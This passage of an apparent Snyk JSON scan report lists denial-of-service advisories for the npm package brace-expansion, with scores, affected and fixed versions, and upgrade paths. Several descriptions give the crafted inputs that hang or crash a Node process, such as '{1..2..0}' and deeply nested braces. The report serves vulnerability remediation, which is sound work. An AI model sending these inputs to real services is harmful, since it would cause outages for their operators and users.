"0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` 